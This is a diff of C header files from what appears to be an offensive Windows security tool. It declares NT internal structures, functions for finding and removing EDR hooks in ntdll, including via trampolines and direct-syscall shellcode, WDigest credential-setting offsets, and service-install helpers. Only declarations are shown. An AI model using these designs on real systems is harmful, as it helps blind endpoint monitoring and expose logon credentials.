#define FILE_OVERWRITE 0x00000004
#define FILE_MAXIMUM_DISPOSITION 0x00000005
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_WRITE_THROUGH 0x00000002
#define FILE_SEQUENTIAL_ONLY 0x00000004
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_CREATE_TREE_CONNECTION 0x00000080
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
#define FILE_NO_EA_KNOWLEDGE 0x00000200
#define FILE_OPEN_FOR_RECOVERY 0x00000400
#define FILE_RANDOM_ACCESS 0x00000800
#define FILE_DELETE_ON_CLOSE 0x00001000
#define FILE_OPEN_BY_FILE_ID 0x00002000
#define FILE_OVERWRITE_IF 0x00000005
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryBasicInformation,
MemoryWorkingSetInformation,
MemoryMappedFilenameInformation,
MemoryRegionInformation,
MemoryWorkingSetExInformation,
MemorySharedCommitInformation,
MemoryImageInformation,
MemoryRegionInformationEx,
MemoryPrivilegedBasicInformation,
MemoryEnclaveImageInformation,
MemoryBasicInformationCapped
} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_SUCCES 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_PARTIAL_COPY 0x8000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
#define STATUS_OBJECT_NAME_INVALID 0xc0000033
#define STATUS_SHARING_VIOLATION 0xC0000043
#define STATUS_NO_MORE_ENTRIES 0x8000001A
#define STATUS_INVALID_CID 0xC000000B
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
#define STATUS_ALERTED 0x00000101
#include "undoc_64.h"
+3 -4
View File
@@ -95,8 +95,8 @@ typedef struct UNICODE_STRING64
} u;
QWORD dummyalign;
} uOrDummyAlign;
QWORD Buffer;
} UNICODE_STRING64;
WCHAR* Buffer;
} UNICODE_STRING64, * PUNICODE_STRING64;
typedef struct _CLIENT_ID64
{
@@ -104,7 +104,6 @@ typedef struct _CLIENT_ID64
QWORD ThreadId;
} CLIENT_ID64;
//NOTE: the members of this structure are not yet complete
typedef struct _RTL_USER_PROCESS_PARAMETERS64
{
@@ -215,7 +214,7 @@ typedef struct PEB64
QWORD SystemAssemblyStorageMap; //0x0310
QWORD MinimumStackCommit; //0x0318
} PEB64; //struct PEB64
} PEB64, * PPEB64; //struct PEB64
//
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
+41 -32
View File
@@ -1,52 +1,61 @@
#pragma once
#include "PEParser.h"
typedef struct diff_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} diff;
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
#if _WIN64
#define PATCH_MAX_SIZE 0x18
#else
#define PATCH_MAX_SIZE 0x10
#endif
typedef struct hook_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
diff* list_patches;
} hook;
typedef struct PATCH_DIFF_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} PATCH_DIFF;
typedef struct HOOK_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
PATCH_DIFF* list_patches;
} HOOK;
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
OUT LPOSVERSIONINFOEXW lpVersionInformation);
OUT LPOSVERSIONINFOEXW lpVersionInformation);
enum unhook_method_e {
UNHOOK_NONE,
typedef enum UNHOOK_METHOD_e {
UNHOOK_NONE,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
};
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
}UNHOOK_METHOD;
hook* searchHooks(const char* csvFileName);
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName);
PVOID hookResolver(PBYTE hookAddr);
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
VOID unhook(hook* hook, DWORD unhook_method);
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget);
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch);
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method);
/*
+9 -3
View File
@@ -13,7 +13,8 @@
enum WdigestOffsetType {
g_fParameter_UseLogonCredential = 0,
g_IsCredGuardEnabled = 1
g_IsCredGuardEnabled = 1,
_SUPPORTED_WDIGEST_OFFSETS_END
};
union WdigestOffsets {
@@ -29,7 +30,12 @@ union WdigestOffsets {
DWORD64 ar[2];
};
union WdigestOffsets wdigestOffsets;
union WdigestOffsets g_wdigestOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetWdigestPath();
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include <Windows.h>
#include <aclapi.h>
#include <Tchar.h>
#include <stdio.h>
#include <time.h>
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle);
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus);
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount);